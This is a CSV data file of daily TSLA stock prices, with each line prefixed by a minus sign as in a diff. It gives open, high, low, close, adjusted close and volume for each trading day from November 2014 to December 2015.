-2014-11-05,241.0,241.36000061035156,230.52999877929688,230.97000122070312,230.97000122070312,9045900,TSLA
-2014-11-06,234.49000549316406,246.69000244140625,228.5,241.22000122070312,241.22000122070312,15354700,TSLA
-2014-11-07,242.19000244140625,242.83999633789062,237.1999969482422,240.1999969482422,240.1999969482422,5161000,TSLA
-2014-11-10,239.11000061035156,242.8800048828125,236.8000030517578,241.92999267578125,241.92999267578125,4577200,TSLA
-2014-11-11,242.5500030517578,251.82000732421875,242.0,251.0800018310547,251.0800018310547,7948800,TSLA
-2014-11-12,249.72000122070312,252.33999633789062,245.5800018310547,249.10000610351562,249.10000610351562,5870800,TSLA
-2014-11-13,250.6199951171875,255.75,250.25,251.6999969482422,251.6999969482422,6236000,TSLA
-2014-11-14,250.0,258.8500061035156,248.5,258.67999267578125,258.67999267578125,6101100,TSLA
-2014-11-17,257.489990234375,259.0,252.02000427246094,253.97999572753906,253.97999572753906,4025700,TSLA
-2014-11-18,255.86000061035156,259.989990234375,255.50999450683594,257.70001220703125,257.70001220703125,4473000,TSLA
-2014-11-19,250.61000061035156,251.8800048828125,245.60000610351562,247.74000549316406,247.74000549316406,7918500,TSLA
-2014-11-20,247.9499969482422,250.92999267578125,246.0,248.7100067138672,248.7100067138672,3587200,TSLA
-2014-11-21,252.2100067138672,252.77999877929688,242.1699981689453,242.77999877929688,242.77999877929688,7485100,TSLA
-2014-11-24,245.1999969482422,247.60000610351562,240.63999938964844,246.72000122070312,246.72000122070312,4789700,TSLA
-2014-11-25,247.35000610351562,249.72000122070312,246.08999633789062,248.08999633789062,248.08999633789062,3159800,TSLA
-2014-11-26,248.33999633789062,249.0,246.60000610351562,248.44000244140625,248.44000244140625,1981200,TSLA
-2014-11-28,245.35000610351562,246.69000244140625,242.52000427246094,244.52000427246094,244.52000427246094,2119700,TSLA
-2014-12-01,241.16000366210938,242.47000122070312,229.00999450683594,231.63999938964844,231.63999938964844,8619400,TSLA
-2014-12-02,234.57000732421875,234.8800048828125,228.0,231.42999267578125,231.42999267578125,5887000,TSLA
-2014-12-03,226.25,229.72000122070312,225.5,229.3000030517578,229.3000030517578,5307700,TSLA
-2014-12-04,228.60000610351562,230.89999389648438,227.80999755859375,228.27999877929688,228.27999877929688,3855600,TSLA
-2014-12-05,228.6699981689453,229.38999938964844,222.25999450683594,223.7100067138672,223.7100067138672,6063600,TSLA
-2014-12-08,221.5399932861328,224.86000061035156,212.33999633789062,214.36000061035156,214.36000061035156,9225600,TSLA
-2014-12-09,209.33999633789062,217.72999572753906,204.27000427246094,216.88999938964844,216.88999938964844,9431500,TSLA
-2014-12-10,214.1300048828125,216.77000427246094,207.6999969482422,209.83999633789062,209.83999633789062,7314100,TSLA
-2014-12-11,210.52999877929688,215.42999267578125,208.22999572753906,208.8800048828125,208.8800048828125,6694400,TSLA
-2014-12-12,204.82000732421875,211.67999267578125,204.5,207.0,207.0,7173800,TSLA
-2014-12-15,209.2899932861328,209.8000030517578,202.6699981689453,204.0399932861328,204.0399932861328,5218300,TSLA
-2014-12-16,200.88999938964844,203.67999267578125,195.3699951171875,197.80999755859375,197.80999755859375,8426100,TSLA
-2014-12-17,193.05999755859375,206.64999389648438,192.64999389648438,205.82000732421875,205.82000732421875,7367800,TSLA
-2014-12-18,212.3800048828125,218.44000244140625,211.8000030517578,218.25999450683594,218.25999450683594,7483300,TSLA
-2014-12-19,220.19000244140625,220.39999389648438,214.5,219.2899932861328,219.2899932861328,6910500,TSLA
-2014-12-22,220.0,224.05999755859375,218.25999450683594,222.60000610351562,222.60000610351562,4799400,TSLA
-2014-12-23,223.80999755859375,224.32000732421875,219.52000427246094,220.97000122070312,220.97000122070312,4505700,TSLA
-2014-12-24,219.77000427246094,222.5,219.25,222.25999450683594,222.25999450683594,1332200,TSLA
-2014-12-26,221.50999450683594,228.5,221.5,227.82000732421875,227.82000732421875,3327000,TSLA
-2014-12-29,226.89999389648438,227.91000366210938,224.02000427246094,225.7100067138672,225.7100067138672,2802500,TSLA
-2014-12-30,223.99000549316406,225.64999389648438,221.39999389648438,222.22999572753906,222.22999572753906,2903200,TSLA
-2014-12-31,223.08999633789062,225.67999267578125,222.25,222.41000366210938,222.41000366210938,2297500,TSLA
-2015-01-02,222.8699951171875,223.25,213.25999450683594,219.30999755859375,219.30999755859375,4764400,TSLA
-2015-01-05,214.5500030517578,216.5,207.16000366210938,210.08999633789062,210.08999633789062,5368500,TSLA
-2015-01-06,210.05999755859375,214.1999969482422,204.2100067138672,211.27999877929688,211.27999877929688,6261900,TSLA
-2015-01-07,213.35000610351562,214.77999877929688,209.77999877929688,210.9499969482422,210.9499969482422,2968400,TSLA
-2015-01-08,212.80999755859375,213.8000030517578,210.00999450683594,210.6199951171875,210.6199951171875,3442500,TSLA
-2015-01-09,208.9199981689453,209.97999572753906,204.9600067138672,206.66000366210938,206.66000366210938,4668300,TSLA
-2015-01-12,203.0500030517578,204.47000122070312,199.25,202.2100067138672,202.2100067138672,5950300,TSLA
-2015-01-13,203.32000732421875,207.61000061035156,200.91000366210938,204.25,204.25,4477300,TSLA
-2015-01-14,185.8300018310547,195.1999969482422,185.0,192.69000244140625,192.69000244140625,11551900,TSLA
-2015-01-15,194.49000549316406,195.75,190.0,191.8699951171875,191.8699951171875,5216500,TSLA
-2015-01-16,190.6999969482422,194.49000549316406,189.64999389648438,193.07000732421875,193.07000732421875,3603200,TSLA
-2015-01-20,193.8699951171875,194.1199951171875,187.0399932861328,191.92999267578125,191.92999267578125,4503200,TSLA
-2015-01-21,189.5500030517578,198.67999267578125,189.50999450683594,196.57000732421875,196.57000732421875,4153000,TSLA
-2015-01-22,197.0,203.24000549316406,195.1999969482422,201.6199951171875,201.6199951171875,4116900,TSLA
-2015-01-23,200.2899932861328,203.5,198.3300018310547,201.2899932861328,201.2899932861328,3438600,TSLA
-2015-01-26,201.8300018310547,208.6199951171875,201.0500030517578,206.5500030517578,206.5500030517578,3234500,TSLA
-2015-01-27,204.4199981689453,208.02999877929688,203.3000030517578,205.97999572753906,205.97999572753906,2781000,TSLA
-2015-01-28,206.11000061035156,206.3699951171875,198.4199981689453,199.3699951171875,199.3699951171875,3149600,TSLA
-2015-01-29,201.07000732421875,205.97999572753906,196.5,205.1999969482422,205.1999969482422,3548100,TSLA
-2015-01-30,203.9600067138672,207.47000122070312,203.0,203.60000610351562,203.60000610351562,3007000,TSLA
-2015-02-02,203.97000122070312,211.9499969482422,203.3000030517578,210.94000244140625,210.94000244140625,4149200,TSLA
-2015-02-03,213.22000122070312,220.3699951171875,211.27000427246094,218.36000061035156,218.36000061035156,4826200,TSLA
-2015-02-04,218.2899932861328,221.47999572753906,216.8000030517578,218.5500030517578,218.5500030517578,3305400,TSLA
-2015-02-05,219.8800048828125,225.47999572753906,219.63999938964844,220.99000549316406,220.99000549316406,3522900,TSLA
-2015-02-06,222.0,223.39999389648438,216.5,217.36000061035156,217.36000061035156,3243900,TSLA
-2015-02-09,215.3800048828125,217.92999267578125,211.99000549316406,217.47999572753906,217.47999572753906,3472400,TSLA
-2015-02-10,217.5500030517578,220.5,215.0,216.2899932861328,216.2899932861328,5390500,TSLA
-2015-02-11,212.2100067138672,214.74000549316406,207.27999877929688,212.8000030517578,212.8000030517578,9769100,TSLA
-2015-02-12,193.57000732421875,203.08999633789062,193.27999877929688,202.8800048828125,202.8800048828125,15649600,TSLA
-2015-02-13,202.89999389648438,205.99000549316406,200.91000366210938,203.77000427246094,203.77000427246094,6191000,TSLA
-2015-02-17,205.6999969482422,205.6999969482422,201.5,204.35000610351562,204.35000610351562,3979600,TSLA
-2015-02-18,204.1699981689453,206.1699981689453,202.60000610351562,204.4600067138672,204.4600067138672,2713600,TSLA
-2015-02-19,205.0,212.44000244140625,203.75,211.7100067138672,211.7100067138672,5154100,TSLA
-2015-02-20,210.77999877929688,217.60000610351562,209.80999755859375,217.11000061035156,217.11000061035156,5982100,TSLA
-2015-02-23,215.66000366210938,218.1999969482422,206.3300018310547,207.33999633789062,207.33999633789062,8499800,TSLA
-2015-02-24,207.2899932861328,207.2899932861328,201.6999969482422,204.11000061035156,204.11000061035156,6603600,TSLA
-2015-02-25,204.94000244140625,207.13999938964844,202.5800018310547,203.75999450683594,203.75999450683594,3909500,TSLA
-2015-02-26,204.0,211.08999633789062,202.22000122070312,207.19000244140625,207.19000244140625,6472900,TSLA
-2015-02-27,206.89999389648438,208.5500030517578,202.8000030517578,203.33999633789062,203.33999633789062,3882100,TSLA
-2015-03-02,202.6999969482422,203.33999633789062,195.8300018310547,197.3300018310547,197.3300018310547,7922100,TSLA
-2015-03-03,196.80999755859375,200.24000549316406,195.32000732421875,199.55999755859375,199.55999755859375,4432300,TSLA
-2015-03-04,199.25,202.52000427246094,197.2100067138672,202.44000244140625,202.44000244140625,4222000,TSLA
-2015-03-05,202.85000610351562,206.19000244140625,200.14999389648438,200.6300048828125,200.6300048828125,4877000,TSLA
-2015-03-06,199.2100067138672,200.75,192.14999389648438,193.8800048828125,193.8800048828125,6712400,TSLA
-2015-03-09,194.38999938964844,194.49000549316406,188.25,190.8800048828125,190.8800048828125,6736700,TSLA
-2015-03-10,188.4600067138672,193.5,187.60000610351562,190.32000732421875,190.32000732421875,5579700,TSLA
-2015-03-11,191.14999389648438,196.17999267578125,191.00999450683594,193.74000549316406,193.74000549316406,4974900,TSLA
-2015-03-12,193.75,194.4499969482422,189.75,191.07000732421875,191.07000732421875,4149300,TSLA
-2015-03-13,188.9499969482422,191.75,187.32000732421875,188.67999267578125,188.67999267578125,5434300,TSLA
-2015-03-16,192.0,195.91000366210938,189.8000030517578,195.6999969482422,195.6999969482422,5628800,TSLA
-2015-03-17,195.42999267578125,198.7100067138672,193.94000244140625,194.72999572753906,194.72999572753906,4894100,TSLA
-2015-03-18,194.9600067138672,200.8800048828125,193.11000061035156,200.7100067138672,200.7100067138672,4820900,TSLA
-2015-03-19,202.0,204.58999633789062,194.52999877929688,195.64999389648438,195.64999389648438,8475200,TSLA
-2015-03-20,197.4499969482422,198.99000549316406,195.6199951171875,198.0800018310547,198.0800018310547,4269500,TSLA
-2015-03-23,198.5,200.5,197.47000122070312,199.6300048828125,199.6300048828125,2631600,TSLA
-2015-03-24,201.5800018310547,203.7899932861328,199.75,201.72000122070312,201.72000122070312,3649900,TSLA
-2015-03-25,198.27000427246094,198.58999633789062,192.6999969482422,194.3000030517578,194.3000030517578,5730400,TSLA
-2015-03-26,193.9199981689453,194.7899932861328,189.6999969482422,190.41000366210938,190.41000366210938,4128000,TSLA
-2015-03-27,189.07000732421875,189.2899932861328,181.39999389648438,185.0,185.0,8604900,TSLA
-2015-03-30,185.85000610351562,192.25,181.8000030517578,190.57000732421875,190.57000732421875,10089500,TSLA
-2015-03-31,193.52999877929688,193.75999450683594,188.41000366210938,188.77000427246094,188.77000427246094,5026600,TSLA
-2015-04-01,188.6999969482422,192.3000030517578,186.0500030517578,187.58999633789062,187.58999633789062,3794600,TSLA
-2015-04-02,190.22999572753906,193.22999572753906,190.0,191.0,191.0,5010400,TSLA
-2015-04-06,198.0,207.75,197.5,203.10000610351562,203.10000610351562,12455800,TSLA
-2015-04-07,202.50999450683594,205.05999755859375,201.13999938964844,203.25,203.25,4347900,TSLA
-2015-04-08,208.1999969482422,210.89999389648438,205.8699951171875,207.6699981689453,207.6699981689453,6303100,TSLA
-2015-04-09,208.42999267578125,210.3699951171875,206.1199951171875,210.08999633789062,210.08999633789062,3800200,TSLA
-2015-04-10,209.85000610351562,211.64999389648438,209.0,210.89999389648438,210.89999389648438,4067700,TSLA
-2015-04-13,210.44000244140625,213.0,209.0500030517578,209.77999877929688,209.77999877929688,3758200,TSLA
-2015-04-14,208.57000732421875,209.49000549316406,205.5,207.4600067138672,207.4600067138672,3026000,TSLA
-2015-04-15,207.4600067138672,209.58999633789062,206.60000610351562,207.8300018310547,207.8300018310547,1952400,TSLA
-2015-04-16,207.6999969482422,209.1699981689453,206.2899932861328,206.6999969482422,206.6999969482422,1659100,TSLA
-2015-04-17,204.99000549316406,206.8800048828125,203.5,206.7899932861328,206.7899932861328,2469900,TSLA
-2015-04-20,206.77999877929688,207.85000610351562,203.85000610351562,205.27000427246094,205.27000427246094,2559300,TSLA
-2015-04-21,205.8000030517578,210.75,204.30999755859375,209.41000366210938,209.41000366210938,3432500,TSLA
-2015-04-22,212.5,221.8800048828125,211.69000244140625,219.44000244140625,219.44000244140625,7863000,TSLA
-2015-04-23,218.27000427246094,221.47999572753906,217.14999389648438,218.60000610351562,218.60000610351562,4411200,TSLA
-2015-04-24,220.5,220.8000030517578,218.00999450683594,218.42999267578125,218.42999267578125,2427800,TSLA
-2015-04-27,222.55999755859375,238.75,222.0,231.5500030517578,231.5500030517578,11672600,TSLA
-2015-04-28,234.75,235.5,228.02999877929688,230.47999572753906,230.47999572753906,6085400,TSLA
-2015-04-29,230.0500030517578,234.97000122070312,227.6300048828125,232.4499969482422,232.4499969482422,3936100,TSLA
-2015-04-30,230.38999938964844,232.88999938964844,225.1699981689453,226.0500030517578,226.0500030517578,3911900,TSLA
-2015-05-01,229.94000244140625,231.77000427246094,220.41000366210938,226.02999877929688,226.02999877929688,5281700,TSLA
-2015-05-04,228.17999267578125,234.72999572753906,227.11000061035156,230.50999450683594,230.50999450683594,4434600,TSLA
-2015-05-05,237.75999450683594,239.5,229.1300048828125,232.9499969482422,232.9499969482422,5796900,TSLA
-2015-05-06,234.10000610351562,234.47000122070312,228.1999969482422,230.42999267578125,230.42999267578125,5270900,TSLA
-2015-05-07,221.0,237.47999572753906,220.25,236.8000030517578,236.8000030517578,9455900,TSLA
-2015-05-08,235.99000549316406,238.41000366210938,233.6999969482422,236.61000061035156,236.61000061035156,4668200,TSLA
-2015-05-11,236.2899932861328,242.8800048828125,235.30999755859375,239.49000549316406,239.49000549316406,5672300,TSLA
-2015-05-12,240.11000061035156,246.35000610351562,238.19000244140625,244.74000549316406,244.74000549316406,6363400,TSLA
-2015-05-13,247.61000061035156,248.3000030517578,242.25,243.17999267578125,243.17999267578125,5440200,TSLA
-2015-05-14,244.82000732421875,244.88999938964844,241.25,244.10000610351562,244.10000610351562,2895900,TSLA
-2015-05-15,243.92999267578125,249.39999389648438,242.5,248.83999633789062,248.83999633789062,4527600,TSLA
-2015-05-18,247.0,249.89999389648438,246.0,248.75,248.75,3353200,TSLA
-2015-05-19,248.42999267578125,251.0,246.14999389648438,247.13999938964844,247.13999938964844,3674200,TSLA
-2015-05-20,247.1300048828125,247.74000549316406,241.3699951171875,244.35000610351562,244.35000610351562,3755600,TSLA
-2015-05-21,243.02999877929688,246.6199951171875,242.36000061035156,245.6199951171875,245.6199951171875,1970600,TSLA
-2015-05-22,245.3800048828125,248.60000610351562,245.00999450683594,247.72999572753906,247.72999572753906,2223100,TSLA
-2015-05-26,247.67999267578125,252.0,246.5,247.4600067138672,247.4600067138672,3498700,TSLA
-2015-05-27,248.50999450683594,249.5,245.5500030517578,247.42999267578125,247.42999267578125,3408200,TSLA
-2015-05-28,247.02999877929688,251.8000030517578,245.0500030517578,251.4499969482422,251.4499969482422,3647300,TSLA
-2015-05-29,251.0,252.8699951171875,249.42999267578125,250.8000030517578,250.8000030517578,3789300,TSLA
-2015-06-01,251.41000366210938,251.60000610351562,247.47000122070312,249.4499969482422,249.4499969482422,2505100,TSLA
-2015-06-02,248.9199981689453,249.39999389648438,246.3000030517578,248.35000610351562,248.35000610351562,2134800,TSLA
-2015-06-03,248.1999969482422,250.72000122070312,247.00999450683594,248.99000549316406,248.99000549316406,1781500,TSLA
-2015-06-04,247.5,249.3000030517578,245.7100067138672,245.9199981689453,245.9199981689453,2453600,TSLA
-2015-06-05,246.0,249.6999969482422,245.67999267578125,249.13999938964844,249.13999938964844,3022000,TSLA
-2015-06-08,250.85000610351562,258.75,250.30999755859375,256.2900085449219,256.2900085449219,5017000,TSLA
-2015-06-09,255.39999389648438,257.739990234375,254.13999938964844,256.0,256.0,2611100,TSLA
-2015-06-10,251.89999389648438,254.0,248.5,250.6999969482422,250.6999969482422,3454500,TSLA
-2015-06-11,253.25999450683594,254.3699951171875,250.42999267578125,251.41000366210938,251.41000366210938,2044100,TSLA
-2015-06-12,250.2100067138672,253.4600067138672,250.2100067138672,250.69000244140625,250.69000244140625,1422300,TSLA
-2015-06-15,249.6999969482422,251.27999877929688,246.00999450683594,250.3800048828125,250.3800048828125,2186200,TSLA
-2015-06-16,250.1300048828125,253.44000244140625,249.10000610351562,253.1199951171875,253.1199951171875,1984700,TSLA
-2015-06-17,252.1699981689453,264.3599853515625,252.02000427246094,260.4100036621094,260.4100036621094,5512900,TSLA
-2015-06-18,262.0,263.4599914550781,260.0199890136719,261.8900146484375,261.8900146484375,2782700,TSLA
-2015-06-19,262.3999938964844,263.79998779296875,260.1000061035156,262.510009765625,262.510009765625,2463000,TSLA
-2015-06-22,262.1499938964844,264.3999938964844,255.69000244140625,259.7900085449219,259.7900085449219,4561100,TSLA
-2015-06-23,260.32000732421875,268.0,258.57000732421875,267.6700134277344,267.6700134277344,3870800,TSLA
-2015-06-24,266.9800109863281,267.3500061035156,263.7200012207031,265.1700134277344,265.1700134277344,2412300,TSLA
-2015-06-25,266.45001220703125,271.4100036621094,265.25,268.7900085449219,268.7900085449219,2849200,TSLA
-2015-06-26,268.8900146484375,269.1099853515625,266.0,267.0899963378906,267.0899963378906,3838400,TSLA
-2015-06-29,261.95001220703125,265.95001220703125,260.70001220703125,262.0199890136719,262.0199890136719,3478900,TSLA
-2015-06-30,264.79998779296875,270.9200134277344,264.0,268.260009765625,268.260009765625,3086900,TSLA
-2015-07-01,271.1099853515625,272.6199951171875,267.8500061035156,269.1499938964844,269.1499938964844,2101200,TSLA
-2015-07-02,280.20001220703125,282.45001220703125,273.30999755859375,280.0199890136719,280.0199890136719,7163900,TSLA
-2015-07-06,278.8800048828125,281.69000244140625,276.29998779296875,279.7200012207031,279.7200012207031,4121900,TSLA
-2015-07-07,275.0,275.20001220703125,260.7699890136719,267.8800048828125,267.8800048828125,6105100,TSLA
-2015-07-08,259.32000732421875,260.79998779296875,254.30999755859375,254.9600067138672,254.9600067138672,6221100,TSLA
-2015-07-09,259.0799865722656,262.95001220703125,256.7900085449219,257.9200134277344,257.9200134277344,3334100,TSLA
-2015-07-10,262.2200012207031,263.0,257.82000732421875,259.1499938964844,259.1499938964844,2610900,TSLA
-2015-07-13,262.25,262.54998779296875,256.04998779296875,262.1600036621094,262.1600036621094,2960300,TSLA
-2015-07-14,262.1000061035156,265.989990234375,260.510009765625,265.6499938964844,265.6499938964844,1907600,TSLA
-2015-07-15,266.739990234375,267.489990234375,262.0799865722656,263.1400146484375,263.1400146484375,2021600,TSLA
-2015-07-16,264.2200012207031,267.20001220703125,263.1600036621094,266.67999267578125,266.67999267578125,1616000,TSLA
-2015-07-17,272.5,275.5400085449219,268.25,274.6600036621094,274.6600036621094,5004100,TSLA
-2015-07-20,275.0,286.6499938964844,272.5400085449219,282.260009765625,282.260009765625,4978500,TSLA
-2015-07-21,270.04998779296875,273.5,266.54998779296875,266.7699890136719,266.7699890136719,6108700,TSLA
-2015-07-22,261.2699890136719,269.44000244140625,260.8599853515625,267.8699951171875,267.8699951171875,3105000,TSLA
-2015-07-23,269.6499938964844,269.8999938964844,265.2699890136719,267.20001220703125,267.20001220703125,2227200,TSLA
-2015-07-24,267.3800048828125,271.0899963378906,263.9200134277344,265.4100036621094,265.4100036621094,2836500,TSLA
-2015-07-27,262.42999267578125,264.42999267578125,250.7899932861328,253.00999450683594,253.00999450683594,4694200,TSLA
-2015-07-28,255.75,265.3999938964844,251.83999633789062,264.82000732421875,264.82000732421875,3895800,TSLA
-2015-07-29,264.2699890136719,267.8900146484375,262.0,263.82000732421875,263.82000732421875,2790100,TSLA
-2015-07-30,262.69000244140625,266.94000244140625,262.1099853515625,266.7900085449219,266.7900085449219,2034600,TSLA
-2015-07-31,267.6000061035156,269.3599853515625,265.1199951171875,266.1499938964844,266.1499938964844,2222600,TSLA
-2015-08-03,266.2900085449219,266.7099914550781,257.07000732421875,259.989990234375,259.989990234375,2553500,TSLA
-2015-08-04,260.010009765625,266.7200012207031,258.3399963378906,266.2799987792969,266.2799987792969,2352500,TSLA
-2015-08-05,263.5799865722656,271.0,260.3999938964844,270.1300048828125,270.1300048828125,6214300,TSLA
-2015-08-06,249.5399932861328,255.0,236.1199951171875,246.1300048828125,246.1300048828125,14623800,TSLA
-2015-08-07,243.5800018310547,243.72999572753906,238.38999938964844,242.50999450683594,242.50999450683594,5073400,TSLA
-2015-08-10,238.14999389648438,242.97000122070312,236.0500030517578,241.13999938964844,241.13999938964844,4185900,TSLA
-2015-08-11,237.14999389648438,239.3000030517578,234.44000244140625,237.3699951171875,237.3699951171875,4264900,TSLA
-2015-08-12,235.0,239.77000427246094,232.74000549316406,238.1699981689453,238.1699981689453,3728000,TSLA
-2015-08-13,239.86000061035156,246.47999572753906,239.1199951171875,242.50999450683594,242.50999450683594,4689200,TSLA
-2015-08-14,247.24000549316406,247.92999267578125,241.77000427246094,243.14999389648438,243.14999389648438,4364800,TSLA
-2015-08-17,255.55999755859375,256.5899963378906,250.50999450683594,254.99000549316406,254.99000549316406,7176700,TSLA
-2015-08-18,255.3800048828125,260.95001220703125,253.55999755859375,260.7200012207031,260.7200012207031,4195000,TSLA
-2015-08-19,260.3299865722656,260.6499938964844,255.02000427246094,255.25,255.25,3604300,TSLA
-2015-08-20,252.05999755859375,254.55999755859375,241.89999389648438,242.17999267578125,242.17999267578125,4905800,TSLA
-2015-08-21,236.0,243.8000030517578,230.50999450683594,230.77000427246094,230.77000427246094,6590200,TSLA
-2015-08-24,202.7899932861328,231.39999389648438,195.0,218.8699951171875,218.8699951171875,9581600,TSLA
-2015-08-25,230.52000427246094,230.89999389648438,219.1199951171875,220.02999877929688,220.02999877929688,4327300,TSLA
-2015-08-26,227.92999267578125,228.0,215.50999450683594,224.83999633789062,224.83999633789062,4963000,TSLA
-2015-08-27,231.0,244.75,230.80999755859375,242.99000549316406,242.99000549316406,7656000,TSLA
-2015-08-28,241.86000061035156,251.4499969482422,241.57000732421875,248.47999572753906,248.47999572753906,5513700,TSLA
-2015-08-31,245.6199951171875,254.9499969482422,245.50999450683594,249.05999755859375,249.05999755859375,4700200,TSLA
-2015-09-01,240.33999633789062,246.0,236.97000122070312,238.6300048828125,238.6300048828125,5454800,TSLA
-2015-09-02,245.3000030517578,247.8800048828125,239.77999877929688,247.69000244140625,247.69000244140625,4629200,TSLA
-2015-09-03,252.05999755859375,252.0800018310547,245.0,245.57000732421875,245.57000732421875,4194800,TSLA
-2015-09-04,240.88999938964844,244.08999633789062,238.1999969482422,241.92999267578125,241.92999267578125,3689200,TSLA
-2015-09-08,245.0500030517578,249.16000366210938,244.0500030517578,248.1699981689453,248.1699981689453,3138200,TSLA
-2015-09-09,252.0500030517578,254.25,248.3000030517578,248.91000366210938,248.91000366210938,3390800,TSLA
-2015-09-10,247.22999572753906,250.72000122070312,245.3300018310547,248.47999572753906,248.47999572753906,2709000,TSLA
-2015-09-11,247.63999938964844,250.24000549316406,244.72999572753906,250.24000549316406,250.24000549316406,2350800,TSLA
-2015-09-14,251.10000610351562,254.25,249.6699981689453,253.19000244140625,253.19000244140625,2890900,TSLA
-2015-09-15,252.75,254.60000610351562,249.5,253.57000732421875,253.57000732421875,2933500,TSLA
-2015-09-16,253.0399932861328,262.8800048828125,252.8800048828125,262.25,262.25,4417100,TSLA
-2015-09-17,263.9599914550781,265.5,260.69000244140625,262.07000732421875,262.07000732421875,3585800,TSLA
-2015-09-18,257.9599914550781,263.82000732421875,257.5,260.6199951171875,260.6199951171875,3763100,TSLA
-2015-09-21,263.9800109863281,271.57000732421875,255.8000030517578,264.20001220703125,264.20001220703125,6120200,TSLA
-2015-09-22,259.0299987792969,262.6499938964844,255.8699951171875,260.94000244140625,260.94000244140625,3664400,TSLA
-2015-09-23,261.95001220703125,262.0799865722656,257.5799865722656,261.05999755859375,261.05999755859375,2600800,TSLA
-2015-09-24,259.5299987792969,263.45001220703125,256.2099914550781,263.1199951171875,263.1199951171875,3448200,TSLA
-2015-09-25,266.6099853515625,266.9100036621094,256.1499938964844,256.9100036621094,256.9100036621094,3773400,TSLA
-2015-09-28,257.3500061035156,259.7900085449219,246.61000061035156,248.42999267578125,248.42999267578125,4901100,TSLA
-2015-09-29,250.4600067138672,254.72999572753906,245.4600067138672,246.64999389648438,246.64999389648438,3703200,TSLA
-2015-09-30,252.0,252.39999389648438,242.33999633789062,248.39999389648438,248.39999389648438,4929600,TSLA
-2015-10-01,247.50999450683594,248.5,237.1300048828125,239.8800048828125,239.8800048828125,4573000,TSLA
-2015-10-02,235.60000610351562,247.6999969482422,234.92999267578125,247.57000732421875,247.57000732421875,4424000,TSLA
-2015-10-05,248.83999633789062,249.83999633789062,244.1300048828125,246.14999389648438,246.14999389648438,3689900,TSLA
-2015-10-06,240.0,243.02999877929688,235.5800018310547,241.4600067138672,241.4600067138672,5225200,TSLA
-2015-10-07,236.6300048828125,237.6999969482422,229.1199951171875,231.9600067138672,231.9600067138672,6814000,TSLA
-2015-10-08,230.0800018310547,230.72000122070312,221.30999755859375,226.72000122070312,226.72000122070312,6133200,TSLA
-2015-10-09,220.92999267578125,224.3699951171875,218.36000061035156,220.69000244140625,220.69000244140625,6158400,TSLA
-2015-10-12,222.99000549316406,223.0,215.27000427246094,215.5800018310547,215.5800018310547,3836300,TSLA
-2015-10-13,213.27999877929688,222.52000427246094,211.1300048828125,219.25,219.25,5171500,TSLA
-2015-10-14,220.6699981689453,220.9499969482422,215.42999267578125,216.8800048828125,216.8800048828125,3104400,TSLA
-2015-10-15,216.42999267578125,221.72999572753906,213.6999969482422,221.30999755859375,221.30999755859375,2844200,TSLA
-2015-10-16,223.0399932861328,230.47999572753906,222.8699951171875,227.00999450683594,227.00999450683594,4334500,TSLA
-2015-10-19,226.5,231.14999389648438,224.94000244140625,228.10000610351562,228.10000610351562,2507900,TSLA
-2015-10-20,227.72000122070312,228.60000610351562,202.0,213.02999877929688,213.02999877929688,14900000,TSLA
-2015-10-21,211.99000549316406,214.80999755859375,208.8000030517578,210.08999633789062,210.08999633789062,4151500,TSLA
-2015-10-22,211.55999755859375,215.75,209.39999389648438,211.72000122070312,211.72000122070312,2825200,TSLA
-2015-10-23,215.0,215.35000610351562,207.69000244140625,209.08999633789062,209.08999633789062,4235500,TSLA
-2015-10-26,211.3800048828125,215.8800048828125,210.0,215.25999450683594,215.25999450683594,3391400,TSLA
-2015-10-27,214.83999633789062,217.10000610351562,207.50999450683594,210.35000610351562,210.35000610351562,3519400,TSLA
-2015-10-28,211.30999755859375,213.4499969482422,208.3000030517578,212.9600067138672,212.9600067138672,2728600,TSLA
-2015-10-29,211.75,213.75,210.63999938964844,211.6300048828125,211.6300048828125,1805000,TSLA
-2015-10-30,210.39999389648438,211.6300048828125,203.88999938964844,206.92999267578125,206.92999267578125,4438900,TSLA
-2015-11-02,208.9199981689453,215.8000030517578,207.22000122070312,213.7899932861328,213.7899932861328,3927900,TSLA
-2015-11-03,213.85000610351562,214.44000244140625,207.75,208.35000610351562,208.35000610351562,8332500,TSLA
-2015-11-04,227.0,232.74000549316406,225.1999969482422,231.6300048828125,231.6300048828125,12726400,TSLA
-2015-11-05,230.5800018310547,234.5800018310547,229.19000244140625,231.77000427246094,231.77000427246094,4496800,TSLA
-2015-11-06,230.6999969482422,233.36000061035156,229.5,232.36000061035156,232.36000061035156,2445300,TSLA
-2015-11-09,232.99000549316406,232.99000549316406,224.30999755859375,225.3300018310547,225.3300018310547,3850900,TSLA
-2015-11-10,223.47999572753906,223.6999969482422,216.0800018310547,216.5,216.5,4617000,TSLA
-2015-11-11,217.77000427246094,219.47999572753906,213.6300048828125,219.0800018310547,219.0800018310547,3347800,TSLA
-2015-11-12,217.85000610351562,219.0,212.66000366210938,212.94000244140625,212.94000244140625,2915900,TSLA
-2015-11-13,212.9499969482422,212.99000549316406,206.52000427246094,207.19000244140625,207.19000244140625,3430300,TSLA
-2015-11-16,206.08999633789062,214.97999572753906,205.8000030517578,214.30999755859375,214.30999755859375,2925400,TSLA
-2015-11-17,215.1999969482422,216.0,211.39999389648438,214.0,214.0,2148700,TSLA
-2015-11-18,214.5,221.3800048828125,212.52000427246094,221.07000732421875,221.07000732421875,2811900,TSLA
-2015-11-19,220.5399932861328,226.19000244140625,220.3000030517578,221.8000030517578,221.8000030517578,2504400,TSLA
-2015-11-20,223.49000549316406,225.0,213.5800018310547,220.00999450683594,220.00999450683594,4400700,TSLA
-2015-11-23,217.35000610351562,219.17999267578125,214.67999267578125,217.75,217.75,2526200,TSLA
-2015-11-24,215.3699951171875,221.0,215.0,218.25,218.25,2480300,TSLA
-2015-11-25,221.33999633789062,230.8300018310547,220.3800048828125,229.63999938964844,229.63999938964844,3990800,TSLA
-2015-11-27,231.05999755859375,232.25,227.00999450683594,231.61000061035156,231.61000061035156,1949400,TSLA
-2015-11-30,231.7899932861328,234.27999877929688,229.0800018310547,230.25999450683594,230.25999450683594,2659800,TSLA
-2015-12-01,231.05999755859375,238.0,231.0500030517578,237.19000244140625,237.19000244140625,3734000,TSLA
-2015-12-02,237.0,238.60000610351562,231.22999572753906,231.99000549316406,231.99000549316406,2981500,TSLA
-2015-12-03,235.47999572753906,237.4499969482422,230.0,232.7100067138672,232.7100067138672,2939600,TSLA
-2015-12-04,232.4600067138672,233.27000427246094,227.66000366210938,230.3800048828125,230.3800048828125,2573600,TSLA
-2015-12-07,227.6999969482422,235.6300048828125,226.14999389648438,231.1300048828125,231.1300048828125,3144200,TSLA
-2015-12-08,227.52000427246094,228.8000030517578,224.1999969482422,226.72000122070312,226.72000122070312,2687600,TSLA
